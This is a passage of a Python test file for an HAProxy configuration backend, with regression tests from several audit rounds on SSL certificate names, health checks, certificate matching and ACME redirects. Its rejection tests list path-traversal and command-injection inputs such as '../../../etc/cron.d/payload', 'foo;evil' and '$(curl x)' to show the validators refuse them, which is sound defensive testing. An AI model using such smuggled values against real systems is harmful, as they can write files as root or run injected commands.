f"rate_limit. Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #20 regression: multi-blocker tcp payload must be rejected"
)
def test_wizard_accepts_tcp_with_compatible_fields_only():
"""Positive control: a `mode='tcp'` frontend with only TCP-
compatible fields (bind, maxconn, tcp_request_rules, timeout_client)
passes."""
from models.site_wizard import FrontendStep
fs = FrontendStep(
name="fe1",
mode="tcp",
bind_port=8443,
maxconn=1000,
timeout_client=30000,
tcp_request_rules="tcp-request inspect-delay 5s",
)
assert fs.mode == "tcp"
def test_wizard_accepts_redirect_rules_on_http_frontend():
"""Positive control: http + redirect_rules is valid."""
from models.site_wizard import FrontendStep
fs = FrontendStep(
name="fe1",
mode="http",
redirect_rules=[
{
"type": "scheme",
"scheme": "https",
"code": 301,
"condition": "if !{ ssl_fc }",
}
],
)
assert len(fs.redirect_rules) == 1
def test_normalize_does_not_strip_default_server_cookie():
"""The `default-server cookie X` directive sets a default cookie
value for every server in the backend — it is NOT a `server`
line, so the normalizer must leave it untouched. The strip
is gated on `stripped.startswith('server ')` (note trailing
space) which already excludes `default-server` — pin the
contract.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"backend be-defserver\n"
" balance roundrobin\n"
" default-server cookie defcookie check inter 1000\n"
" server srv1 1.1.1.1:8080\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
assert 'default-server cookie defcookie' in normalized, (
"Bulgu #15 round-5 regression: `default-server cookie X` "
"was incorrectly stripped — that directive is the global "
"default for the backend's servers, not a per-server "
"attribute."
)
# =============================================================================
# Round-11 audit: Bulgu #21 — ssl.name path-traversal vector
# =============================================================================
def _bulgu21_minimal_ssl_payload(name: str) -> dict:
"""Build the minimal SSL upload payload that exercises only the
`name` validator. The cert content is a syntactically valid PEM
so the renderer's content checks pass; the test isolates the
name path-traversal validator.
"""
cert = (
"-----BEGIN CERTIFICATE-----\n"
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtest\n"
"-----END CERTIFICATE-----"
)
key = (
"-----BEGIN PRIVATE KEY-----\n"
"MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDxtest\n"
"-----END PRIVATE KEY-----"
)
return {
"name": name,
"certificate_content": cert,
"private_key_content": key,
"usage_type": "frontend",
}
@pytest.mark.parametrize("bad_name", [
"../../tmp/evil",
"../../../etc/cron.d/payload",
"foo/bar",
"foo\\bar",
"foo bar",
"foo\tbar",
"foo;evil",
"foo$evil",
"foo`evil`",
"foo|evil",
".hidden",
"-rf",
"..",
"../foo",
"foo/../bar",
])
def test_bulgu21_ssl_certificate_create_rejects_unsafe_name(bad_name):
"""Bulgu #21 (round-11): SSLCertificateCreate.name is used to build
`/etc/ssl/haproxy/{name}.pem` which the agent then writes as root.
Path-traversal, shell metacharacters, and filename CLI-flag
confusion must be rejected at the API boundary, NOT at the agent.
"""
from models.ssl import SSLCertificateCreate
with pytest.raises(ValidationError):
SSLCertificateCreate(**_bulgu21_minimal_ssl_payload(bad_name))
@pytest.mark.parametrize("good_name", [
"site-com",
"site_com",
"site.com",
"wildcard-example.com",
"01-default",
"ABC_123",
])
def test_bulgu21_ssl_certificate_create_accepts_safe_name(good_name):
"""Positive control — the validator must keep accepting the
typical operator naming conventions (`<host>` / `<host-or-tag>`).
Cert content is invalid here so a ValidationError IS expected,
but the FIRST error must not be the name validator."""
from models.ssl import SSLCertificateCreate
try:
SSLCertificateCreate(**_bulgu21_minimal_ssl_payload(good_name))
except ValidationError as ve:
errs = [str(e) for e in ve.errors()]
for err in errs:
assert "forbidden characters" not in err, (
f"Safe name {good_name!r} rejected by name validator: {err}"
)
assert "path traversal" not in err, (
f"Safe name {good_name!r} rejected by name validator: {err}"
)
def test_bulgu21_ssl_certificate_create_rejects_whitespace_padded_name():
"""Reject ' foo' / 'foo ' — these would render as ' foo.pem' on
disk and break `mv "$temp" "/etc/ssl/haproxy/ foo.pem"` quoting
or shift the filename in unexpected ways."""
from models.ssl import SSLCertificateCreate
with pytest.raises(ValidationError):
SSLCertificateCreate(**_bulgu21_minimal_ssl_payload(" foo"))
with pytest.raises(ValidationError):
SSLCertificateCreate(**_bulgu21_minimal_ssl_payload("foo "))
def test_bulgu21_ssl_certificate_update_rejects_unsafe_name():
"""Bulgu #63 (round-22 audit) — the strict path-traversal guard
moved from `SSLCertificateUpdate.validate_name_no_path_traversal`
into the route handler so legacy certs with non-conforming names
can still be updated on other fields. The PATCH path now enforces
the rule via `routers/ssl.py::_assert_safe_cert_name` ONLY when
the operator actually renames the cert. Pin both the new
handler-level helper (rejects rename to unsafe names) AND that
the model itself no longer raises for the legacy bytes (so
unrelated UPDATEs can pass)."""
from models.ssl import SSLCertificateUpdate
from routers.ssl import _assert_safe_cert_name
from fastapi import HTTPException
# Model now accepts any name shape — the bytes round-trip cleanly.
legacy = SSLCertificateUpdate(name="../../tmp/evil")
assert legacy.name == "../../tmp/evil"
# Handler-level helper still rejects path-traversal renames.
for bad in ("../../tmp/evil", "foo/bar", ".."):
with pytest.raises(HTTPException) as exc:
_assert_safe_cert_name(bad)
assert exc.value.status_code == 400
def test_bulgu21_ssl_certificate_update_allows_none_name():
"""PATCH allows name to be omitted (None) — the validator must
be a no-op in that case."""
from models.ssl import SSLCertificateUpdate
upd = SSLCertificateUpdate(name=None)
assert upd.name is None
@pytest.mark.parametrize("bad_name", [
"../../tmp/evil",
"foo/bar",
"foo bar",
".hidden",
"-rf",
"..",
])
def test_bulgu21_wizard_ssl_choice_rejects_unsafe_name(bad_name):
"""Bulgu #21 (round-11): the wizard's `SSLChoice.name` must also
reject path-traversal — wizard is one of the entry points to the
same on-disk path."""
from models.site_wizard import SSLChoice
with pytest.raises(ValidationError):
SSLChoice(
mode="upload",
name=bad_name,
certificate_content="cert",
private_key_content="key",
)
def test_bulgu21_wizard_ssl_choice_allows_safe_names():
"""Positive control on the wizard path."""
from models.site_wizard import SSLChoice
for good in ["site-com", "site_com", "site.com", "ABC_123"]:
try:
SSLChoice(
mode="upload",
name=good,
certificate_content="cert",
private_key_content="key",
)
except ValidationError as ve:
errs = [str(e) for e in ve.errors()]
for err in errs:
assert "forbidden characters" not in err, (
f"Wizard rejected safe name {good!r}: {err}"
)
def test_bulgu21_static_validator_present_in_both_models():
"""Bulgu #63 (round-22 audit) — the SSLCertificateUpdate model
validator was moved into the route handler. SSLCertificateCreate
still carries the model-level guard (CREATE has no legacy data to
grandfather) and SSLChoice (wizard) keeps its own guard. The
route handler in `routers/ssl.py` now also carries
`_assert_safe_cert_name` for both create + update paths."""
ssl_src = _backend_src("models/ssl.py")
wiz_src = _backend_src("models/site_wizard.py")
routers_ssl_src = _backend_src("routers/ssl.py")
assert "validate_name_no_path_traversal" in ssl_src, (
"Bulgu #21: SSLCertificateCreate must keep its model-level "
"path-traversal guard (CREATE is always strict)"
)
assert "_validate_ssl_name_no_path_traversal" in wiz_src, (
"Bulgu #21: SSLChoice must validate path traversal"
)
assert "_assert_safe_cert_name" in routers_ssl_src, (
"Bulgu #63: handler-level path-traversal helper must exist "
"in routers/ssl.py"
)
# =============================================================================
# Round-11 audit: Bulgu #22 — health-check fields must be >= 1
# =============================================================================
@pytest.mark.parametrize("field", ["inter", "fall", "rise"])
def test_bulgu22_server_health_check_rejects_zero(field):
"""Bulgu #22 (round-11): HAProxy parser rejects `inter 0`,
`fall 0`, `rise 0` with explicit range errors at parse time.
The wizard MUST reject these at submit time so the operator
gets a field-level error instead of a vague apply-time
`haproxy -c` failure."""
from models.site_wizard import ServerStep
base = {"server_name": "srv1", "server_address": "1.2.3.4", "server_port": 8080}
base[field] = 0
with pytest.raises(ValidationError):
ServerStep(**base)
@pytest.mark.parametrize("field", ["inter", "fall", "rise"])
def test_bulgu22_server_health_check_accepts_one(field):
"""Positive control — minimum legal value (1) must pass."""
from models.site_wizard import ServerStep
base = {"server_name": "srv1", "server_address": "1.2.3.4", "server_port": 8080}
base[field] = 1
srv = ServerStep(**base)
assert getattr(srv, field) == 1
@pytest.mark.parametrize("field", [
"default_server_inter",
"default_server_fall",
"default_server_rise",
])
def test_bulgu22_backend_default_server_rejects_zero(field):
"""Bulgu #22 (round-11): the same HAProxy parser constraint
applies to `default-server` line — values must be >= 1 or
HAProxy rejects."""
from models.site_wizard import BackendStep
base = {"name": "be1"}
base[field] = 0
with pytest.raises(ValidationError):
BackendStep(**base)
@pytest.mark.parametrize("field", [
"default_server_inter",
"default_server_fall",
"default_server_rise",
])
def test_bulgu22_backend_default_server_accepts_one(field):
from models.site_wizard import BackendStep
base = {"name": "be1"}
base[field] = 1
be = BackendStep(**base)
assert getattr(be, field) == 1
def test_bulgu22_static_ge_one_in_health_check_fields():
"""Static-source pin: `inter`, `fall`, `rise`, and the
`default_server_*` triple must carry `ge=1`, not `ge=0`.
Catches accidental loosening to `ge=0` during refactors.
Round 17 update: Bulgu #45 / #46 added `le=...` upper bounds to
the same fields, so the marker now only anchors on `ge=1,` (the
trailing comma keeps us anchored even if the round-17 `le=`
addition wraps differently)."""
from pathlib import Path
src = _backend_src("models/site_wizard.py")
for field_name in (
"inter", "fall", "rise",
"default_server_inter", "default_server_fall", "default_server_rise",
):
# Search for `<field>: Optional[int] = Field(\n? ... ge=1,`
# (Bulgu #45 split some of these onto multiple lines).
assert (
f"{field_name}: Optional[int] = Field(" in src
and any(
marker in src for marker in (
f"{field_name}: Optional[int] = Field(default=None, ge=1,",
f"{field_name}: Optional[int] = Field(\n default=None, ge=1,",
)
)
), (
f"Bulgu #22: expected `ge=1` health-check field marker "
f"for `{field_name}` not found in site_wizard.py"
)
# =============================================================================
# Round-12 audit: SSL & ACME deep audit
# =============================================================================
# Bulgu #23 — cert/key pair mismatch detection
# Bulgu #24 — expired cert rejection
# Bulgu #25 — wizard domain coverage against cert SAN
# Bulgu #26 — SSLChoice.ssl_verify silent-drop mTLS guard
# Bulgu #27 — ssl_alpn format validator
# Bulgu #28 — ssl.mode='none' + https_redirect=true self-brick guard
# ---- Bulgu #23: cert/key pair mismatch ----
def _gen_self_signed_pem(common_name: str = "test.example.com"):
"""Generate a self-signed cert + private key for unit testing.
The cryptography library round-trips its own output, so this gives
us a real public-key match to compare against (vs hand-crafting
PEMs which would only test the parser).
"""
from cryptography import x509 as _x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from datetime import datetime, timedelta, timezone
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
subject = issuer = _x509.Name([
_x509.NameAttribute(NameOID.COMMON_NAME, common_name),
])
cert = (
_x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(key.public_key())
.serial_number(_x509.random_serial_number())
.not_valid_before(datetime.now(timezone.utc) - timedelta(days=1))
.not_valid_after(datetime.now(timezone.utc) + timedelta(days=365))
.add_extension(
_x509.SubjectAlternativeName([_x509.DNSName(common_name)]),
critical=False,
)
.sign(key, hashes.SHA256())
)
cert_pem = cert.public_bytes(serialization.Encoding.PEM).decode()
key_pem = key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
).decode()
return cert_pem, key_pem
def _gen_expired_pem(common_name: str = "expired.example.com"):
"""Generate an already-expired self-signed cert."""
from cryptography import x509 as _x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from datetime import datetime, timedelta, timezone
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
subject = _x509.Name([_x509.NameAttribute(NameOID.COMMON_NAME, common_name)])
cert = (
_x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(subject)
.public_key(key.public_key())
.serial_number(_x509.random_serial_number())
.not_valid_before(datetime.now(timezone.utc) - timedelta(days=400))
.not_valid_after(datetime.now(timezone.utc) - timedelta(days=30))
.add_extension(
_x509.SubjectAlternativeName([_x509.DNSName(common_name)]),
critical=False,
)
.sign(key, hashes.SHA256())
)
cert_pem = cert.public_bytes(serialization.Encoding.PEM).decode()
key_pem = key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
).decode()
return cert_pem, key_pem
def test_bulgu23_verify_certificate_key_match_matching_pair():
"""Positive control — a freshly-generated cert/key pair must
match by SubjectPublicKeyInfo equality."""
from utils.ssl_parser import verify_certificate_key_match
cert_pem, key_pem = _gen_self_signed_pem()
result = verify_certificate_key_match(cert_pem, key_pem)
assert result["match"] is True
assert result["reason"] is None
def test_bulgu23_verify_certificate_key_match_mismatched_pair():
"""Negative control — a cert from pair A and a key from pair B
must surface match=False with an actionable reason. Pre-fix the
wizard accepted this and surfaced the mismatch only at agent
`haproxy -c` time."""
from utils.ssl_parser import verify_certificate_key_match
cert_a, _ = _gen_self_signed_pem("site-a.example.com")
_, key_b = _gen_self_signed_pem("site-b.example.com")
result = verify_certificate_key_match(cert_a, key_b)
assert result["match"] is False
assert "cert public key differs" in (result["reason"] or "")
def test_bulgu23_verify_certificate_key_match_empty_inputs():
"""Empty input should return match=None (cannot compare) so
callers fall back to the legacy validate_private_key check."""
from utils.ssl_parser import verify_certificate_key_match
assert verify_certificate_key_match("", "").get("match") is None
cert_pem, key_pem = _gen_self_signed_pem()
assert verify_certificate_key_match(cert_pem, "").get("match") is None
assert verify_certificate_key_match("", key_pem).get("match") is None
def test_bulgu23_static_create_cert_row_calls_match_check():
"""Static-source pin: `create_cert_row` MUST invoke
`verify_certificate_key_match` after `validate_private_key`.
Catches accidental removal of the safety check."""
from pathlib import Path
src = _backend_src("services/ssl_service.py")
assert "verify_certificate_key_match" in src, (
"Bulgu #23: create_cert_row must call verify_certificate_key_match "
"to detect cert/key mismatches at submit time."
)
assert 'match_result.get("match") is False' in src, (
"Bulgu #23: create_cert_row must hard-reject match=False; "
"match=None (cannot compare) is OK to pass through."
)
# ---- Bulgu #24: expired cert rejection ----
def test_bulgu24_expired_cert_parsed_as_expired():
"""Sanity check — the parser correctly flags our generated
expired cert with status='expired'. Without this baseline the
next test would silently bypass the check."""
from utils.ssl_parser import parse_ssl_certificate
cert_pem, _ = _gen_expired_pem()
info = parse_ssl_certificate(cert_pem)
assert info.get("status") == "expired"
assert info.get("days_until_expiry", 0) < 0
def test_bulgu24_static_create_cert_row_rejects_expired():
"""Static-source pin: `create_cert_row` MUST hard-reject an
expired cert with HTTP 400. Pre-fix the row was inserted with
status='expired' and a downstream HTTPS frontend bound to it,
breaking every browser TLS handshake."""
from pathlib import Path
src = _backend_src("services/ssl_service.py")
assert 'cert_info.get("status") == "expired"' in src, (
"Bulgu #24: create_cert_row must check status=='expired' and reject."
)
assert "is already expired" in src, (
"Bulgu #24: expired-cert error message must be informative."
)
def test_bulgu24_static_existing_cert_branch_rejects_expired():
"""Static-source pin: the wizard's `existing` SSL branch must
also reject expired certs (parity with create_cert_row's reject
of upload-mode expired certs)."""
from pathlib import Path
src = _backend_src("routers/site_wizard.py")
assert 'Bulgu #24 (round-12 audit) — existing-cert branch' in src, (
"Bulgu #24: existing-cert branch must carry the round-12 expired-"
"cert rejection marker."
)
# ---- Bulgu #25: domain coverage ----
def test_bulgu25_domain_covered_by_cert_literal_match():
"""Literal SAN match (RFC 6125)."""
from utils.ssl_parser import domain_covered_by_cert
assert domain_covered_by_cert("api.example.com", ["api.example.com"])
assert not domain_covered_by_cert("api.example.com", ["www.example.com"])
def test_bulgu25_domain_covered_by_cert_wildcard_single_label():
"""Wildcard `*.example.com` matches a SINGLE leftmost label
(`api.example.com`) but NOT multi-label
(`api.sub.example.com`) and NOT the bare apex
(`example.com`)."""
from utils.ssl_parser import domain_covered_by_cert
assert domain_covered_by_cert("api.example.com", ["*.example.com"])
assert not domain_covered_by_cert("api.sub.example.com", ["*.example.com"])
assert not domain_covered_by_cert("example.com", ["*.example.com"])
def test_bulgu25_domain_covered_case_insensitive():
"""Domain matching is case-insensitive per RFC."""
from utils.ssl_parser import domain_covered_by_cert
assert domain_covered_by_cert("API.EXAMPLE.COM", ["api.example.com"])
assert domain_covered_by_cert("api.example.com", ["API.EXAMPLE.COM"])
def test_bulgu25_find_uncovered_domains_preserves_order():
"""Error message orders uncovered domains as the operator typed
them (helps them find the typo)."""
from utils.ssl_parser import find_uncovered_domains
out = find_uncovered_domains(
["a.example.com", "b.example.com", "c.example.com"],
["a.example.com", "c.example.com"],
)
assert out == ["b.example.com"]
def test_bulgu25_find_uncovered_domains_empty_inputs():
"""No domains → no uncovered. Empty cert SAN → ALL domains
uncovered."""
from utils.ssl_parser import find_uncovered_domains
assert find_uncovered_domains([], ["a.example.com"]) == []
assert find_uncovered_domains(
["a.example.com", "b.example.com"], []
) == ["a.example.com", "b.example.com"]
def test_bulgu25_static_wizard_upload_branch_calls_coverage():
"""Static-source pin: the wizard's upload branch must call
`find_uncovered_domains` against the parsed cert SAN list
before invoking `create_cert_row`."""
from pathlib import Path
src = _backend_src("routers/site_wizard.py")
assert "find_uncovered_domains" in src, (
"Bulgu #25: wizard must verify domain coverage against the cert SAN."
)
assert 'Bulgu #25 (round-12 audit)' in src, (
"Bulgu #25: round-12 marker must be present in the wizard branch."
)
# ---- Bulgu #26: SSLChoice ssl_verify silent-drop mTLS ----
@pytest.mark.parametrize("forbidden", ["optional", "required"])
def test_bulgu26_sslchoice_ssl_verify_rejects_mtls_modes(forbidden):
"""SSLChoice.ssl_verify must reject 'optional'/'required'
because the renderer's client-CA path is a placeholder that
silently drops the verify directive."""
from models.site_wizard import SSLChoice
with pytest.raises(ValidationError):
SSLChoice(
mode="upload", name="c",
certificate_content="x", private_key_content="y",
ssl_verify=forbidden,
)
def test_bulgu26_sslchoice_ssl_verify_accepts_none_and_unset():
"""Positive control — 'none' and unset/None must pass."""
from models.site_wizard import SSLChoice
for ok in (None, "none"):
m = SSLChoice(
mode="upload", name="c",
certificate_content="x", private_key_content="y",
ssl_verify=ok,
)
assert m.ssl_verify == (None if ok is None else "none")
def test_bulgu26_static_validator_present():
"""Static-source pin: SSLChoice must carry the round-12
mTLS-rejection validator."""
from pathlib import Path
src = _backend_src("models/site_wizard.py")
assert "reject_ssl_verify_without_ca_file" in src, (
"Bulgu #26: SSLChoice must validate ssl_verify against "
"silent mTLS-drop renderer placeholder."
)
def test_bulgu26_frontend_ui_only_offers_none():
"""Frontend pin: the wizard UI must offer ONLY 'none' for
ssl_verify until the ca-file column is plumbed. Pre-fix the UI
offered 'optional' and 'required' which the SSLChoice
validator now rejects — operators would see a confusing 422.
Round-13 audit fix: skip cleanly when the frontend source tree
is not co-located with the backend (CI containers build the
backend image in isolation from `../frontend`). Backend pin
tests for backend-side validation are covered by
`test_bulgu26_*` above this case; this single frontend pin is a
belt-and-suspenders check that only matters in the monorepo
workspace, not in the per-service CI image.
"""
frontend_src_path = _BACKEND_DIR.parent / "frontend/src/components/SiteWizard.js"
if not frontend_src_path.exists():
pytest.skip(
"frontend source tree not available (CI runs backend "
"image in isolation); covered by monorepo workspace runs"
)
src = frontend_src_path.read_text()
# The SSL step's ssl_verify Select must NOT contain the
# forbidden options after this round.
ssl_step_section = src.split("name={['ssl', 'ssl_verify']}", 1)
assert len(ssl_step_section) == 2, (
"Bulgu #26: SiteWizard.js must still bind a Form.Item to "
"['ssl', 'ssl_verify']"
)
after_marker = ssl_step_section[1][:1500]
assert 'Option value="optional"' not in after_marker, (
"Bulgu #26: SiteWizard.js SSL step still offers ssl_verify "
"'optional' even though SSLChoice now rejects it."
)
assert 'Option value="required"' not in after_marker, (
"Bulgu #26: SiteWizard.js SSL step still offers ssl_verify "
"'required' even though SSLChoice now rejects it."
)
# ---- Bulgu #27: ssl_alpn format validator ----
@pytest.mark.parametrize("good", [
"h2",
"http/1.1",
"h2,http/1.1",
"acme-tls/1",
"h2, http/1.1", # whitespace-padded tokens are normalised
])
def test_bulgu27_ssl_alpn_accepts_canonical_protocols(good):
"""Common IANA ALPN registry IDs must pass.
Round 17 update: Bulgu #48 now requires `ssl_min_ver` to be
'TLSv1.2' or 'TLSv1.3' when the ALPN list advertises 'h2',
matching RFC 7540 section 9.2's TLS 1.2 minimum for HTTP/2.
Pass an explicit min_ver so this test exercises ONLY the ALPN
grammar validator (the cross-field consistency is covered by
dedicated round-17 tests below)."""
from models.site_wizard import SSLChoice
advertises_h2 = "h2" in [tok.strip() for tok in good.split(",")]
kwargs = {"mode": "none", "ssl_alpn": good}
if advertises_h2:
kwargs["ssl_min_ver"] = "TLSv1.2"
m = SSLChoice(**kwargs)
# Whitespace-padded inputs are re-joined without spaces
assert " " not in (m.ssl_alpn or "")
assert m.ssl_alpn
@pytest.mark.parametrize("bad", [
"h2;evil",
"h2,", # trailing comma → empty token
"h2,,http/1.1",
"h2 evil", # space inside a token
"$(curl x)",
"h2`evil`",
])
def test_bulgu27_ssl_alpn_rejects_invalid_tokens(bad):
"""Invalid characters / empty tokens must be rejected at the
wizard boundary instead of surfacing at the agent's
`haproxy -c`."""
from models.site_wizard import SSLChoice
with pytest.raises(ValidationError):
SSLChoice(mode="none", ssl_alpn=bad)
def test_bulgu27_ssl_alpn_none_passes():
"""None/empty must coerce to None (no alpn directive emitted)."""
from models.site_wizard import SSLChoice
m = SSLChoice(mode="none", ssl_alpn=None)
assert m.ssl_alpn is None
m = SSLChoice(mode="none", ssl_alpn="")
assert m.ssl_alpn is None
# ---- Bulgu #28: ssl.mode='none' + https_redirect self-brick guard ----
def _bulgu28_site_kwargs(**overrides):
base = {
"cluster_id": 1,
"domains": ["www.example.com"],
"backend": {"name": "be"},
"servers": [{
"server_name": "s1",
"server_address": "10.0.0.1",
"server_port": 80,
}],
"frontend": {"name": "fe", "bind_port": 80},
"ssl": {"mode": "none"},
}
base.update(overrides)
return base
def test_bulgu28_rejects_ssl_none_plus_https_redirect_flag():
"""ssl.mode='none' + frontend.https_redirect=true is a
self-bricking config — redirect points at a port with nothing
listening. Reject at submit instead of letting the site go
dark post-apply."""
from models.site_wizard import SiteCreate
kwargs = _bulgu28_site_kwargs(
frontend={"name": "fe", "bind_port": 80, "https_redirect": True},
ssl={"mode": "none"},
)
with pytest.raises(ValidationError) as exc_info:
SiteCreate(**kwargs)
msg = str(exc_info.value)
assert "ssl.mode" in msg and "https_redirect" in msg, (
"Bulgu #28: error message must name both fields"
)
def test_bulgu28_rejects_ssl_none_plus_explicit_scheme_https_redirect():
"""Same brick via an explicit redirect_rules entry with
type=scheme / scheme=https."""
from models.site_wizard import SiteCreate
kwargs = _bulgu28_site_kwargs(
frontend={
"name": "fe", "bind_port": 80,
"https_redirect": False,
"redirect_rules": [{
"type": "scheme", "scheme": "https", "code": 301,
"condition": "!{ ssl_fc }",
}],
},
ssl={"mode": "none"},
)
with pytest.raises(ValidationError):
SiteCreate(**kwargs)
def test_bulgu28_allows_ssl_none_with_location_redirect():
"""A `redirect_rules` entry with type='location' (NOT scheme→https)
must still be allowed under ssl.mode='none' — it's a normal HTTP
L7 redirect, not a TLS upgrade. Pre-fix would over-block this
legitimate case."""
from models.site_wizard import SiteCreate
kwargs = _bulgu28_site_kwargs(
frontend={
"name": "fe", "bind_port": 80,
"https_redirect": False,
"redirect_rules": [{
"type": "location",
"location": "/new",
"code": 302,
"condition": "",
}],
},
ssl={"mode": "none"},
)
SiteCreate(**kwargs) # must not raise
def test_bulgu28_allows_ssl_upload_plus_https_redirect():
"""ssl.mode='upload' creates an HTTPS frontend, so
https_redirect is the standard HTTP→HTTPS bounce — must pass."""
from models.site_wizard import SiteCreate
kwargs = _bulgu28_site_kwargs(
frontend={"name": "fe", "bind_port": 80, "https_redirect": True},
ssl={
"mode": "upload", "name": "stub-cert",
"certificate_content": (
"-----BEGIN CERTIFICATE-----\nstub\n-----END CERTIFICATE-----"
),
"private_key_content": (
"-----BEGIN PRIVATE KEY-----\nstub\n-----END PRIVATE KEY-----"
),
},
)
SiteCreate(**kwargs) # must not raise
def test_bulgu28_static_marker():
"""Static-source pin: the cross-validator must remain in
SiteCreate.enforce_acme_apply_and_http."""
from pathlib import Path
src = _backend_src("models/site_wizard.py")
assert 'Bulgu #28 (round-12 audit)' in src, (
"Bulgu #28: ssl.mode='none' + https_redirect guard marker "
"missing from site_wizard.py"
)
# ============================================================================
# Round 13 — ACME deep-dive (Bulgu #29 — #32)
# ============================================================================
# ---- Bulgu #29: auto-generated https_redirect must exclude ACME challenge ----
def test_bulgu29_auto_https_redirect_excludes_acme_challenge_path():
"""`_build_redirect_rules(https_redirect=true)` must render a
condition that SKIPS `/.well-known/acme-challenge/<token>` so the
HTTP-01 validator can reach the agent's
`_acme_challenge_backend` even when the operator turned on the
HTTPS redirect switch."""
from routers.site_wizard import _build_redirect_rules
from models.site_wizard import SiteCreate
p = SiteCreate(
cluster_id=1,
domains=["www.example.com"],
frontend={"name": "fe", "bind_port": 80, "https_redirect": True},
backend={"name": "be"},
servers=[{
"server_name": "s1", "server_address": "10.0.0.1",
"server_port": 80,
}],
ssl={
"mode": "upload", "name": "stub-cert",
"certificate_content": (
"-----BEGIN CERTIFICATE-----\nstub\n-----END CERTIFICATE-----"
),
"private_key_content": (
"-----BEGIN PRIVATE KEY-----\nstub\n-----END PRIVATE KEY-----"
),
},
)
rules = _build_redirect_rules(p)
assert len(rules) == 1
rule = rules[0]
assert rule["type"] == "scheme"
assert rule["scheme"] == "https"
cond = rule["condition"]
# Legacy backward-compat: still skips HTTPS requests
assert "!{ ssl_fc }" in cond, (
"Bulgu #29 regression: scheme=https redirect must still gate "
"on !{ ssl_fc } — otherwise it loops on requests that came "
"in over HTTPS already."
)
# New Bulgu #29 clause: skips ACME challenge paths
assert "/.well-known/acme-challenge/" in cond, (
"Bulgu #29: auto-generated https_redirect must exclude the "
"ACME HTTP-01 challenge path so LE validation can hit the "
"agent's _acme_challenge_backend before falling through to "
"the redirect."
)
assert "!{ path_beg /.well-known/acme-challenge/ }" in cond, (
"Bulgu #29: the exclusion must use HAProxy's path_beg ACL "
"fetch (anonymous ACL form) — anything else either fails to "
"parse or matches the wrong tokens."
)
def test_bulgu29_renderer_accepts_new_multi_clause_condition():
"""`_format_redirect_rule` must accept the new multi-clause
condition without garbling the `if` keyword. Pre-fix the helper's
`if`-prepend logic was only tested against single-clause
conditions; the new path_beg exclusion exercises the
`condition.lstrip().lower()` startswith() branch."""
import importlib.util
spec = importlib.util.spec_from_file_location(
"_haproxy_cfg_b29",
_BACKEND_DIR / "services/haproxy_config.py",
)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
line = mod._format_redirect_rule({
"type": "scheme", "scheme": "https", "code": 301,
"condition": "!{ ssl_fc } !{ path_beg /.well-known/acme-challenge/ }",
})
assert line is not None
# No double `if`, no missing `if`
assert line.count(" if ") == 1, (
"Bulgu #29: rendered redirect must have EXACTLY one `if ` "
f"clause separator; got {line!r}"
)
assert "if !{ ssl_fc } !{ path_beg /.well-known/acme-challenge/ }" in line
def test_bulgu29_static_marker_in_router():
"""Static-source pin: the auto-generated redirect helper must
keep the round-13 audit marker so a future refactor doesn't
silently revert to the bare `!{ ssl_fc }` condition."""
from pathlib import Path
src = _backend_src("routers/site_wizard.py")
assert "Bulgu #29 (round-13 audit)" in src, (
"Bulgu #29: _build_redirect_rules helper missing the round-13 "
"audit marker (the ACME challenge exclusion was reverted)."
)
assert "/.well-known/acme-challenge/" in src, (
"Bulgu #29: _build_redirect_rules must encode the ACME "
"challenge path exclusion literal."
)
# ---- Bulgu #30: explicit scheme=https redirect_rules under ACME ----
def _bulgu30_site_kwargs(**overrides):
base = {
"cluster_id": 1,
"domains": ["www.example.com"],
"backend": {"name": "be"},
"servers": [{
"server_name": "s1", "server_address": "10.0.0.1",
"server_port": 80,
}],
"frontend": {"name": "fe", "bind_port": 80},
"ssl": {"mode": "acme"},
"apply_immediately": True,
}
base.update(overrides)
return base
def test_bulgu30_rejects_explicit_scheme_redirect_under_acme():
"""ssl.mode='acme' + an operator-typed scheme=https redirect with
no ACME-challenge exclusion is a self-defeating config — LE's
HTTP-01 validator would hit a 301 to a non-existent HTTPS
endpoint. Reject at the model boundary."""
from models.site_wizard import SiteCreate
kwargs = _bulgu30_site_kwargs(
frontend={
"name": "fe", "bind_port": 80,
"https_redirect": False,
"redirect_rules": [{
"type": "scheme", "scheme": "https", "code": 301,
"condition": "!{ ssl_fc }",
}],
},
)
with pytest.raises(ValidationError) as exc_info:
SiteCreate(**kwargs)
msg = str(exc_info.value)
assert "acme" in msg.lower()
assert "scheme" in msg.lower()
assert "acme-challenge" in msg.lower() or "well-known" in msg.lower()
def test_bulgu30_rejects_unconditional_scheme_redirect_under_acme():
"""An explicit scheme=https redirect with NO condition (always
fires) is even worse — it 301s every request including the LE
validator. Must be rejected."""
from models.site_wizard import SiteCreate
kwargs = _bulgu30_site_kwargs(
frontend={
"name": "fe", "bind_port": 80,
"https_redirect": False,
"redirect_rules": [{
"type": "scheme", "scheme": "https", "code": 301,
}],
},
)
with pytest.raises(ValidationError):
SiteCreate(**kwargs)
def test_bulgu30_accepts_scheme_redirect_with_acme_exclusion():
"""An operator who manually encodes the ACME-challenge exclusion
in their condition knows what they're doing — accept the rule
as-is."""
from models.site_wizard import SiteCreate
kwargs = _bulgu30_site_kwargs(
frontend={
"name": "fe", "bind_port": 80,
"https_redirect": False,
"redirect_rules": [{
"type": "scheme", "scheme": "https", "code": 301,
"condition": (
"!{ ssl_fc } "
"!{ path_beg /.well-known/acme-challenge/ }"
),
}],
},
)
SiteCreate(**kwargs) # must not raise
def test_bulgu30_rejects_string_form_scheme_redirect_under_acme():
"""Legacy raw-string redirect_rules entries must be checked
